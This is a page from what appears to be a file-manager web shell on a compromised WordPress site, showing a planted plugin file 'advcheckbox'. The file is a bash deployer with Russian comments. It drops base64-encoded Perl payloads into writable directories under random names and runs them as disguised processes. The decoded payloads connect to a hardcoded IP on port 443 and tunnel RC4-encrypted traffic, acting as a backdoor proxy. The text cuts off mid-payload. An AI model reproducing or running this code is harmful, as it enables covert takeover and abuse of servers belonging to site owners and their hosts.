X7ROOT File Manager
Current Path:
/home/freights/public_html/wp-content/plugins/elementorx/app
home
/
freights
/
public_html
/
wp-content
/
plugins
/
elementorx
/
app
/
??
..
??
admin-menu-items
??
advcheckbox
(922.38 KB)
??
app.php
(8.89 KB)
??
fblqcrck
(9.03 KB)
??
modules
??
view.php
(724 B)
Editing: advcheckbox
#!/bin/bash # ========================================================== # УНИВЕРСАЛЬНЫЙ ДЕПЛОЕР "FIRE-AND-FORGET" # - Поддерживает запуск бинарных файлов и Perl-скриптов # - Находит подходящие директории для развертывания # - Запускает компоненты под случайными именами # - Немедленно завершается # ========================================================== # ========================================================== # НАСТРОЙКИ # ========================================================== PAUSE_SECONDS=2 RANDOM_NAME_LENGTH=10 SEARCH_PATHS=("/var/www/" "/srv/" "/usr/share/nginx/" "/home/") MIN_DIR_DEPTH=4 # ========================================================== echo "[RUNNER] Запускаем сканирование системы на наличие подходящих директорий..." SHUFFLE_CMD="shuf" if ! command -v shuf &> /dev/null; then SHUFFLE_CMD="sort -R"; fi mapfile -t candidate_dirs < <(find "${SEARCH_PATHS[@]}" \ -path '/proc' -prune -o -path '/sys' -prune -o -path '/dev' -prune -o -path '/run' -prune -o \ -mindepth "$MIN_DIR_DEPTH" -type d -writable -executable -print 2>/dev/null | $SHUFFLE_CMD) dir_count=${#candidate_dirs[@]} if [ "$dir_count" -eq 0 ]; then echo "[RUNNER] КРИТИЧЕСКАЯ ОШИБКА: Не найдено ни одной подходящей директории для развертывания. Выход." exit 1 fi echo "[RUNNER] Найдено $dir_count подходящих директорий. Начинаем развертывание компонентов..." echo "---" dir_index=0 first_run=true # --- НАЧАЛО ЗАПУСКА КОМПОНЕНТОВ --- if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 1 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #1 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #1 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 2 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw 